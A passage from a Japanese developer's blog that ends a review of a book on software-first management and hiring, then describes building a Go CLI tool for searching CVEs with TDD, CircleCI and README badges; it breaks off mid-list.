<p>この本でも、常にハンズオンのスキルを磨き続けること、すなわち実装フェーズの技術を学び続けることを推奨しています。それくらいコーディングへの理解が重要なのです。</p> </blockquote> <p> </p> <p>今のソフトウェアの進化のスピードが早すぎるのがこの問題を引き起こしているのかもしれないと思った。</p> <p>昔はもしかしたら過去に習得した技術を10年以上使い続けることができたが、今では数年で陳腐化してしまうのでその知識が害になる(その知識が今でもベストな方法だと勘違いしてしまっていると害になる)のかもしれない。</p> <p>数年でも実装経験があるのとないのでは大きな違いがあるが、自分が当時身につけた技術手法は陳腐化しているかもしれないと理解した上で経験を活かす必要があると思います。</p> <p>『エンジニアのためのマネジメント<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AD%A5%E3%A5%EA%A5%A2%A5%D1%A5%B9">キャリアパス</a>』も読んでみたい。</p> <p> </p> <h4 id="メンバーのことをあまり知らないマネジャー">メンバーのことをあまり知らないマネジャー</h4> <p> </p> <blockquote> <p>蛇足になりますが、マネジャー陣が順位付けのためのデータを持ち合わせていない、つまり、メンバーのことをあまり知らないということが発覚する場合があります。このような組織は評価制度について議論する前に、プロダクトの開発体制がそもそもおかしい可能性があります。メンバーの業務や実績を把握していないということです。まずはその改善から取り組みましょう。</p> </blockquote> <p> </p> <p>ここではマネジャーが悪い、というのではなく開発体制がおかしいという主張です。上手くマネジメントできていない時にマネジャー個人が悪い、能力不足という場合もありますが、そうではなく体制として上手く回らないものとなっていることもあると思うのでそこを考える必要がありそうです。</p> <p> </p> <h4 id="リファラル採用は自社の魅力を測るリトマス試験紙"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%E9%A5%EB%BA%CE%CD%D1">リファラル採用</a>は自社の魅力を測る<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%C8%A5%DE%A5%B9%BB%EE%B8%B3%BB%E6">リトマス試験紙</a></h4> <p> </p> <blockquote> <p>よく「<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%E9%A5%EB%BA%CE%CD%D1">リファラル採用</a>を積極的に進めたいが、社員が紹介してくれない」という悩みを聞きますが、そういう時は理由を詳しく<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D2%A5%A2%A5%EA">ヒアリ</a>ングしてみましょう。知人を誘えない理由を深堀りして聞いていくと、「給与が安い」「開発環境が今ひとつ」などの回答が出てきます。これは、実はその人自身も今の職場に満足していない可能性があることを示唆しています。<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%E9%A5%EB%BA%CE%CD%D1">リファラル採用</a>は自社の魅力を測る<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%C8%A5%DE%A5%B9%BB%EE%B8%B3%BB%E6">リトマス試験紙</a>でもあるのです。</p> </blockquote> <p> </p> <p>確かに現状満足できていない職場に友人を紹介したいとはあまり思いません、たとえ紹介料が高くても。</p> <p>魅力のある職場は良い人が入りやすくなり、さらにより良くなり、魅力の低い職場は悪化するというスパイラルが働きそうです。</p> <p>自分の職場がどうなのかマネジャーにはわからない場合もあると思うので<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%C8%A5%DE%A5%B9%BB%EE%B8%B3%BB%E6">リトマス試験紙</a>として<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%E9%A5%EB%BA%CE%CD%D1">リファラル採用</a>をやってみるのも良いかもしれません。</p> <p> </p> <p> </p> <h4 id="厳格な勤怠管理">厳格な勤怠管理</h4> <p> </p> <blockquote> <p>無意味なほどに厳格な勤怠管理など、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C4%EA%CE%CC">定量</a>的なデータに依存する人事評価は多くの場合、マネジャーが楽をするためです。楽をするというと言い過ぎかもしれませんが、定性的なデータが多くなる、社員の成果そのものを見なくても評価ができるようにしているというようなことことはないでしょうか。</p> </blockquote> <p> </p> <p>多くのマネジャーは常に忙しいので自分が楽になり、かつ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C4%EA%CE%CC">定量</a>的に判断できるというのはとても魅力的に見えるかもしれません。</p> <p>低い評価を付けるための材料として<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C4%EA%CE%CC">定量</a>的なデータを使うようにマネジャーがなるとそれに嫌気がした優秀な部下はいなくなり、その管理方法を逆手にとって<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C4%EA%CE%CC">定量</a>化されたデータでは悪くならないようにだけする部下が現れたりと良くない部分が少しずつ表面化しそうな気がします。</p> <p> </p> <h3 id="5章ソフトウェアファーストなキャリアを築くには">5章ソフトウェア・ファーストなキャリアを築くには</h3> <p> </p> <h4 id="作り手の気持ちを理解する">作り手の気持ちを理解する</h4> <p> </p> <blockquote> <p>短期間プログラミングを学んだだけで、ソフトウェア開発を語れるほど、この世界は甘いものではありません。たまに、昔に少しソフトウェア開発に携わったことがあるだけで、経験者であるように振る舞ってしまう人がいますが、そのような人は間違いなく嫌われます。</p> </blockquote> <p> </p> <p>作り手の気持ちを理解するためにプログラミングを学ぶことは良いことです。</p> <p>しかし、少し学んだだけでわかった気になるのはもっと嫌われるかもしれません。</p> <p> </p> <blockquote> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%B0%A5%E9%A5%DF%A5%F3%A5%B0%B8%C0%B8%EC">プログラミング言語</a>の勉強は、あくまでプログラミングの奥深さを知るためにやってみる。このくらいの感覚で始めてみましょう。</p> </blockquote> <p> </p> <p>どこまで勉強しても実際に開発している人には敵いませんし、知識としてあるのと実際に開発するのはまた別だったりします。</p> <p>どこまでやれば十分という指標もないと思いますし、相手と適切にコミュニケーションが取れるようになるという目的に応じて判断する必要があると思いました。</p> <p> </p> <h3 id="おわりに">おわりに</h3> <p> </p> <blockquote> <p>デジタル・トランスフォーメーションを解説した書籍はすでに多く存在します。その中に筆者も参考にさせていただくような良書も多くあるのですが、どうにも綺麗な話に終始しているようにも感じます。</p> </blockquote> <blockquote> <p>類書にない形で実践的にしようと思うあまり、つい刺激的な表現を用いたり、現状維持に対してチャレンジするような内容になった箇所もあったかと思います。それも、当たり障りのない内容や表現で、皆様の日常の読書体験で終わるのではなく、今日からの行動変容につながるきっかけになればと思ってのことでした。もし、本書の内容で傷ついたり、不快に思われるような方がいらっしゃいましたら、すべての責任は筆者にあります。最後になりますが、心よりお詫び申しあげます。</p> </blockquote> <p> </p> <p>私も読んでいて心に刺さるような部分が多くあり何度も立ち止まって考えさせられたのですが、及川さんのこういった気持ちがあってのことだったようです。</p> <p>DXという言葉を使って心地の良い事ばかり言う人たちもいますが、及川さんは現状に危機感を感じているからこそこのような形での表現になったのだと思います。</p> <p> </p> <p>「Nothing Ventured, Nothing Gained」(挑まなければ、得られない)</p> <blockquote> <p>本質を追求しながら常に挑戦し続けることを忘れないようにしていただければと思います。</p> </blockquote> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">nyao (@security_index) | Twitter</a></p> security_index go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話 hatenablog://entry/26006613503751096 2020-01-30T18:00:00+09:00 2020-08-22T17:21:19+09:00 Go言語でgo-cve-searchという簡単なcliツールを作ってみました。 作成に当たってのモチベーションとしては以下の4つ。 ・Go言語でcliツールを作ってみたい ・Circleci (CI/CD) を使ってみたい ・READMEにterminalのgifとバッジを付けてみたい ・TDDで開発してみたい (2020/07/20更新 CodeQLバッチ, Github Starバッチも追加も追加しました!また、Github Starが14になりました! Github Actionsでクロスコンパイルしたバイナリの配信についても追加しました!) <p>Go言語で<a href="https://github.com/s-index/go-cve-search">go-cve-search</a>という簡単なcliツールを作ってみました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720101545.png" alt="f:id:security_index:20200720101545p:plain" title="f:id:security_index:20200720101545p:plain" class="hatena-fotolife" itemprop="image" width="457" /></p> <p> </p> <p>作成に当たってのモチベーションとしては以下の4つ。</p> <p> </p> <p>・Go言語でcliツールを作ってみたい</p> <p>・Circleci (CI/CD) を使ってみたい</p> <p>・READMEにterminalのgifとバッジを付けてみたい</p> <p>・TDDで開発してみたい</p> <p> </p> <p>(2020/07/20更新 CodeQLバッチ, Github Starバッチも追加も追加しました!また、Github Starが14になりました!</p> <p>Github Actionsでクロスコンパイルしたバイナリの配信についても追加しました!) </p> <p> </p> <ul class="table-of-contents"> <li><a href="#モチベーション">モチベーション</a><ul> <li><a href="#Go言語でcliツールを作ってみたい">Go言語でcliツールを作ってみたい</a></li> <li><a href="#Circleci-CICD-を使ってみたい">Circleci (CI/CD) を使ってみたい</a></li> <li><a href="#READMEにterminalのgifとバッジを付けてみたい">READMEにterminalのgifとバッジを付けてみたい</a></li> <li><a href="#TDDで開発してみたい">TDDで開発してみたい</a></li> </ul> </li> <li><a href="#やったこと">やったこと</a><ul> <li><a href="#TDDでの開発">TDDでの開発</a></li> <li><a href="#cliツールとして開発">cliツールとして開発</a></li> <li><a href="#Circleci-CICDを使う">Circleci (CI/CD)を使う</a></li> <li><a href="#READMEにバッジを付ける">READMEにバッジを付ける</a><ul> <li><a href="#releaseバッジ">releaseバッジ  </a></li> <li><a href="#Circleciバッジ">Circleciバッジ </a></li> <li><a href="#go-report-バッジ">go report バッジ </a></li> <li><a href="#CodeQLバッジ">CodeQLバッジ   </a></li> <li><a href="#licenseバッジ">licenseバッジ </a></li> <li><a href="#Github-Starバッジ">Github Starバッジ </a></li> </ul> </li> <li><a href="#READMEにterminalのgif-demo-gifを付ける">READMEにterminalのgif (demo gif)を付ける</a><ul> <li><a href="#gifの作成">gifの作成</a></li> <li><a href="#READMEに貼り付け">READMEに貼り付け</a></li> </ul> </li> <li><a href="#Github-Actionでクロスコンパイルした実行ファイルをリリース">Github Actionでクロスコンパイルした実行ファイルをリリース</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="モチベーション">モチベーション</h3> <h4 id="Go言語でcliツールを作ってみたい">Go言語でcliツールを作ってみたい</h4> <p>最近、私の周りでよく聞くセキュリティのツールの多くがGo言語で開発されており、またcliツールとしてGithubに公開されているものが多くあったので私も作ってみたい!という感情が高まってきたので作ってみました。</p> <p> </p> <p>私の周りでよく聞くGo言語で作られたCliツール</p> <p>・<a href="https://github.com/future-architect/vuls">vuls</a> </p> <p>・<a href="https://github.com/aquasecurity/trivy">trivy</a></p> <p>・<a href="https://github.com/goodwithtech/dockle">dockle</a></p> <p>・<a href="https://github.com/goodwithtech/dockertags">dockertags</a></p> <p> </p> <h4 id="Circleci-CICD-を使ってみたい">Circleci (CI/CD) を使ってみたい</h4> <p>CI/CDってよく聞きけど使ったことなかったために今更ですがせっかくなので使ってみました。</p> <p>trivy, dockleでCircleciが使われていたのでとりあえずCircleciにしてみました。</p> <p> </p> <h4 id="READMEにterminalのgifとバッジを付けてみたい">READMEにterminalのgifとバッジを付けてみたい</h4> <p>見栄えのいいREADMEによくあるteminalのgifとCirclciの結果が表示されるバッジを付けてスターが貰えそうなREADMEにしてみました。</p> <p>バッジというのはこれのこと。</p> <p> <a href="https://circleci.com/gh/s-index/go-cve-search" rel="nofollow" style="box-sizing: border-box; background-color: #ffffff; color: #0366d6; text-decoration: none; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;"><img src="https://camo.githubusercontent.com/d134e7a34771b840058bced0631b45fbfb5b1b9b/68747470733a2f2f636972636c6563692e636f6d2f67682f732d696e6465782f676f2d6376652d7365617263682e7376673f7374796c653d737667" alt="CircleCI" data-canonical-src="https://circleci.com/gh/s-index/go-cve-search.svg?style=svg" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a></p> <p> </p> <h4 id="TDDで開発してみたい">TDDで開発してみたい</h4> <p><a href="https://amzn.to/2GwzTMY">アジャイルサムライ−達人開発者への道</a>を読んでTDD(Test-Driven Development)で開発してみたいと思いやってみました。</p> <p> </p> <p><a href="https://amzn.to/3aTVqNF"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200128/20200128204535.jpg" alt="f:id:security_index:20200128204535j:plain" title="f:id:security_index:20200128204535j:plain" class="hatena-fotolife" itemprop="image" width="138" /></a></p> <p> </p> <p>TDDというのはテストを先に書いてから実装を行う開発手法のことです。</p> <p>TDDという言葉はよく聞いていましたし、テストの大切さもよく理解していたのですが実際に実践したことがなかったため良い経験となりました。</p> <p>やはり実際にやってみるとTDDの良い部分、難しい部分が見えてきます。</p> <p> </p> <h3 id="やったこと">やったこと</h3> <h4 id="TDDでの開発">TDDでの開発</h4> <p>TDDの開発でははじめにテストを書いてそれから実装を行なっていきます。</p> <p>今回書いたテストコードは<a href="https://github.com/s-index/go-cve-search/blob/master/nvd/nvd_test.go">こちら</a>です。</p> <p> </p> <p>trivyのテストの書き方を少し参考にしてみました。</p> <p><a href="https://github.com/aquasecurity/trivy/blob/master/pkg/report/writer_test.go">trivy/writer_test.go at master · aquasecurity/trivy · GitHub</a></p> <p> </p> <p>trivyでは<a href="https://github.com/stretchr/testify">Testify</a>というフレームワークが使用されていたので私もTestifyを利用しました。</p> <p>Testifyでは以下の3つの機能が用意されているようです。</p> <blockquote> <p>・Easy assertions<br />・Mocking<br />・Testing suite interfaces and functions</p> </blockquote> <p>今回は単純なテストしか行なっていないためassetionの機能しか利用していませんが、assert.NoError(), assert.True() といった書き方でテストを書けるので使いやすいように思います。</p> <p> </p> <p>実際にTDDで開発を始めるとテストができるようにコードを書かなくてはいけなくなるため今までと違った形の実装になったと思います。</p> <p>また、テストで動作が正しく行われていることをすぐに確認できるという安心感はとても大きいと感じました。</p> <p>テストで動作確認がすぐにできるのでリファクタリングがとてもしやすくなりました。</p> <p>今までは現状動いている状態を壊したくないためになかなかリファクタリングしない、したくないということが多くありました。</p> <p> </p> <p>また、VSCodeではGUI上でテストの実行ができるので「go test ./...」のようなコマンドも書かずに実行できます。</p> <p>(run package tests, run testのようにテストの範囲も簡単に設定できます)</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129130544.png" alt="f:id:security_index:20200129130544p:plain" title="f:id:security_index:20200129130544p:plain" class="hatena-fotolife" itemprop="image" width="316" /></p> <p> </p> <p>加えて、テスト実行時に実行時間とコードカバレッジも表示されます。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129132719.png" alt="f:id:security_index:20200129132719p:plain" title="f:id:security_index:20200129132719p:plain" class="hatena-fotolife" itemprop="image" width="509" /></p> <p> </p> <p>コードカバレッジが%で表示されるとどうしても100%を目指したい、目指さないといけない、と感じてしまいますが、</p> <p>アジャイルサムライでも100%を無理して目指す必要はないと書かれていたので80%ほどできていれば良さそうです。</p> <p>無理して100%にするために複雑なテストを書く、実装のエラー処理を減らすといったことをした方が悪影響がありそうな気がします。 </p> <p> </p> <h4 id="cliツールとして開発">cliツールとして開発</h4> <p>go言語でcliツールの開発のためのライブラリはいくつかあります。</p> <p>・googleの<a href="https://github.com/google/subcommands">subcommands</a> (vulsで利用)</p> <p>・<a href="https://github.com/urfave/cli">urfave/cli</a> (trivy, dockleで利用)</p> <p>・<a href="https://github.com/spf13/cobra">cobra</a></p> <p> </p> <p>Githubのスターの数では cobra &gt; urfave/cli &gt; subcommands の順番で</p> <p>また、cobraはdockerやKubernetesなどにも利用されているようです。</p> <p>今回は先人の方々に倣ってurfave/cliを利用しました。</p> <p>ただ、どれも全く異なる書き方になる訳ではなさそうなので次回違うライブラリを利用しても戸惑うことなく利用できそうな気もします。</p> <p> </p> <p>実際のコードは<a href="https://github.com/s-index/go-cve-search/blob/master/main.go#L18">こちら</a></p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129133458.png" alt="f:id:security_index:20200129133458p:plain" title="f:id:security_index:20200129133458p:plain" class="hatena-fotolife" itemprop="image" width="426" /></p> <p> </p> <p>BoolFlagでフラグ名、Aliase、Usageなどを設定し、</p> <p>Actionの部分でどのような処理を実際に実行するのか記述していきます。</p> <p>詳細はurfave/cliの<a href="https://github.com/urfave/cli/blob/master/docs/v2/manual.md">manual</a>に詳しく書かれています。</p> <p>manualがわかりにくい場合は他の人(<a href="https://github.com/aquasecurity/trivy/blob/246793e8739ed45cb972ecb88cccc74929e95ade/internal/app.go">trivy</a>, <a href="https://github.com/goodwithtech/dockle/blob/master/cmd/dockle/main.go">dockle</a>等)がどうやって書いているかみてみるとわかりやすいです。</p> <p> </p> <p>cliライブラリを利用すると-hコマンドでの表示を自動でいい感じにしてくれるのがありがたいです。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129134314.png" alt="f:id:security_index:20200129134314p:plain" title="f:id:security_index:20200129134314p:plain" class="hatena-fotolife" itemprop="image" width="444" /></p> <p> </p> <h4 id="Circleci-CICDを使う">Circleci (CI/CD)を使う</h4> <p><a href="https://circleci.com/">Circleci</a>を利用してGithubへpush時にgo testを実行して問題ないか確認するようにしました。</p> <p>流れとしては、以下の3ステップ</p> <p>・Circleciに登録</p> <p>・Circleciに実行してほしい内容をconfig.ymlで記述し、レポジトリに置く</p> <p>・Circleciでプロジェクトを選択</p> <p> </p> <p>このブログを参考にしました。</p> <p><a href="https://budougumi0617.github.io/2019/04/21/ci_go_with_multiple_jobs_on_circleci/">[Go] CicleCI2.1でgo modのデータを共有しながら複数ジョブを実行する - My External Storage</a></p> <p> </p> <p>公式で日本語のGo言語向けのconfigファイルの書き方のドキュメントがあるのですがversion2で書かれており、version2.1のドキュメントが見つからなかったので上記のブログを参考にしました。</p> <p> </p> <p>実際の<a href="https://github.com/s-index/go-cve-search/blob/master/.circleci/config.yml">config.yml</a></p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129154055.png" alt="f:id:security_index:20200129154055p:plain" title="f:id:security_index:20200129154055p:plain" class="hatena-fotolife" itemprop="image" width="390" /></p> <p> </p> <p>今回Circleciで行なっているのはgo testでテストが通っているかどうかの確認のみ</p> <p>・circleciのGo言語のコンテナ準備 (executors)</p> <p>・checkoutして、go get, go test (jobs)</p> <p> </p> <h4 id="READMEにバッジを付ける">READMEにバッジを付ける</h4> <p>今回付けたバッジはこの6つ。 </p> <p style="box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; color: #24292e; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><a href="https://github.com/s-index/go-cve-search/releases/latest" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img src="https://camo.githubusercontent.com/1175ac60260dc0d073bd6b812200f7d3f695fb0a/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f732d696e6465782f676f2d6376652d7365617263682e737667" alt="GitHub release" data-canonical-src="https://img.shields.io/github/v/release/s-index/go-cve-search.svg" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a> <a href="https://circleci.com/gh/s-index/go-cve-search" rel="nofollow" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img src="https://camo.githubusercontent.com/d134e7a34771b840058bced0631b45fbfb5b1b9b/68747470733a2f2f636972636c6563692e636f6d2f67682f732d696e6465782f676f2d6376652d7365617263682e7376673f7374796c653d737667" alt="CircleCI" data-canonical-src="https://circleci.com/gh/s-index/go-cve-search.svg?style=svg" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a> <a href="https://goreportcard.com/report/github.com/s-index/go-cve-search" rel="nofollow" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img src="https://camo.githubusercontent.com/d5d20702f66b9236b0bdaa187c1d8c61807de2c4/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f732d696e6465782f676f2d6376652d736561726368" alt="Go Report Card" data-canonical-src="https://goreportcard.com/badge/github.com/s-index/go-cve-search" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a> <a href="https://lgtm.com/projects/g/s-index/go-cve-search/alerts/" rel="nofollow" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img src="https://camo.githubusercontent.com/51e015e7c1373668eecda8f2db766dd301c1aa42/68747470733a2f2f696d672e736869656c64732e696f2f6c67746d2f616c657274732f672f732d696e6465782f676f2d6376652d7365617263682e7376673f6c6f676f3d6c67746d266c6f676f57696474683d3138" alt="Total alerts" data-canonical-src="https://img.shields.io/lgtm/alerts/g/s-index/go-cve-search.svg?logo=lgtm&amp;logoWidth=18" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a> <a href="https://github.com/s-index/go-cve-search/blob/master/LICENSE" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img src="https://camo.githubusercontent.com/d0e25b09a82bc4bfde9f1e048a092752eebbb4f3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d626c75652e7376673f7374796c653d666c6174" alt="MIT License" data-canonical-src="https://img.shields.io/badge/license-MIT-blue.svg?style=flat" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a> <a href="https://github.com/s-index/go-cve-search/stargazers" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img src="https://camo.githubusercontent.com/dfc9eae24e37f9d0e710d21882382ea323dd2916/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f732d696e6465782f676f2d6376652d7365617263682e7376673f7374796c653d736f6369616c" alt="GitHub stars" data-canonical-src="https://img.shields.io/github/stars/s-index/go-cve-search.svg?style=social" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a></p> <p> </p> <h5 id="releaseバッジ">releaseバッジ <a href="https://github.com/s-index/go-cve-search/releases/latest" style="box-sizing: border-box; background-color: #ffffff; color: #0366d6; text-decoration: none; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;"><img alt="GitHub release" data-canonical-src="https://img.shields.io/github/v/release/s-index/go-cve-search.svg" src="https://camo.githubusercontent.com/1175ac60260dc0d073bd6b812200f7d3f695fb0a/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f732d696e6465782f676f2d6376652d7365617263682e737667" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a><span style="color: #24292e; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;"> </span></h5> <p>releaseバッジを付けることで最新のバージョンがREADMEのバッジに表示されます。</p> <p>releaseバッジを付けるためにはまずGithubのリリース機能を利用してリリースページを作成する必要があります。</p> <p>参考サイト <a href="https://help.github.com/ja/github/administering-a-repository/creating-releases">リリースの作成 - GitHub ヘルプ</a></p> <p> </p> <p>作成すると<a href="https://github.com/s-index/go-cve-search/releases">このようなページ</a>ができます。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129205033.png" alt="f:id:security_index:20200129205033p:plain" title="f:id:security_index:20200129205033p:plain" class="hatena-fotolife" itemprop="image" width="439" /></p> <p> </p> <p>リリースページを作成することでLatest releaseのリンクが作成されます。</p> <p><a href="https://github.com/s-index/go-cve-search/releases/latest">https://github.com/s-index/go-cve-search/releases/latest</a></p> <p> </p> <p>このリンクと<a href="https://shields.io/">shields.io</a>というバッジ作成で大変お世話になるサイトのリンクを組み合わせることでreleaseバッジの作成を行うことができます。</p> <p>Markdownで書くとこのような感じ。</p> <pre style="color: #000000; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; overflow-wrap: break-word; white-space: pre-wrap;">[![GitHub release](<a href="https://img.shields.io/github/v/release/s-index/go-cve-search.svg">https://img.shields.io/github/v/release/s-index/go-cve-search.svg</a>)](<a href="https://github.com/s-index/go-cve-search/releases/latest">https://github.com/s-index/go-cve-search/releases/latest</a>) </pre> <p> </p> <p>画像のURLとして以下のように「/github/v/release/自分のレポジトリ.svg」でバッジが生成されるようです。</p> <p><a href="https://img.shields.io/github/v/release/s-index/go-cve-search.svg">https://img.shields.io/github/v/release/s-index/go-cve-search.svg</a> </p> <p> </p> <h5 id="Circleciバッジ">Circleciバッジ <a href="https://circleci.com/gh/s-index/go-cve-search" rel="nofollow" style="box-sizing: border-box; background-color: #ffffff; color: #0366d6; text-decoration: none; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;"><img alt="CircleCI" data-canonical-src="https://circleci.com/gh/s-index/go-cve-search.svg?style=svg" src="https://camo.githubusercontent.com/d134e7a34771b840058bced0631b45fbfb5b1b9b/68747470733a2f2f636972636c6563692e636f6d2f67682f732d696e6465782f676f2d6376652d7365617263682e7376673f7374796c653d737667" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a></h5> <p>CircleciのSetting -&gt; Notifications -&gt; Status Badges にリンクが表示されているのでこちらをコピペしてREADMEに貼ればOKです。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129210728.png" alt="f:id:security_index:20200129210728p:plain" title="f:id:security_index:20200129210728p:plain" class="hatena-fotolife" itemprop="image" width="377" /></p> <p><a href="https://circleci.com/docs/ja/2.0/status-badges/">CircleCIのバッジを追加する - CircleCI</a></p> <p> </p> <p> </p> <h5 id="go-report-バッジ">go report バッジ <a href="https://goreportcard.com/report/github.com/s-index/go-cve-search" rel="nofollow" style="box-sizing: border-box; background-color: #ffffff; color: #0366d6; text-decoration: none; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;"><img alt="Go Report Card" data-canonical-src="https://goreportcard.com/badge/github.com/s-index/go-cve-search" src="https://camo.githubusercontent.com/d5d20702f66b9236b0bdaa187c1d8c61807de2c4/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f732d696e6465782f676f2d6376652d736561726368" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a></h5> <p>vuls, trivy, dockle共にgo reportのバッジがあったので私も付けました。</p> <p> </p> <p><a href="https://goreportcard.com/">Go Report Card | Go project code quality report cards</a></p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129211046.png" alt="f:id:security_index:20200129211046p:plain" title="f:id:security_index:20200129211046p:plain" class="hatena-fotolife" itemprop="image" width="431" /></p> <p><br /><br /></p> <p>こちらのページでgo getのパスを入力するだけで解析結果が表示されます。</p> <p><a href="https://goreportcard.com/report/github.com/s-index/go-cve-search">Go Report Card | Go project code quality report cards</a></p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200129/20200129211250.png" alt="f:id:security_index:20200129211250p:plain" title="f:id:security_index:20200129211250p:plain" class="hatena-fotolife" itemprop="image" width="467" /></p> <p><br /><br /></p> <p>簡単なツールなので全てで100%になっています。少し嬉しい!笑</p> <p>このレポートで確認できるものは以下の7つ。</p> <ul> <li>gofmt gofmt -s を実行 (冗長な部分を確認)</li> <li>go vet コンパイルは通るけど良くない部分を確認</li> <li><a href="https://github.com/fzipp/gocyclo">gocyclo</a> 循環的複雑度(サイクロマティック複雑度)を確認</li> <li>golint goのlint </li> <li>license Licenseファイルがあるかどうかの確認</li> <li><a href="https://github.com/gordonklaus/ineffassign">ineffassign</a>  意味のない代入を確認</li> <li><a 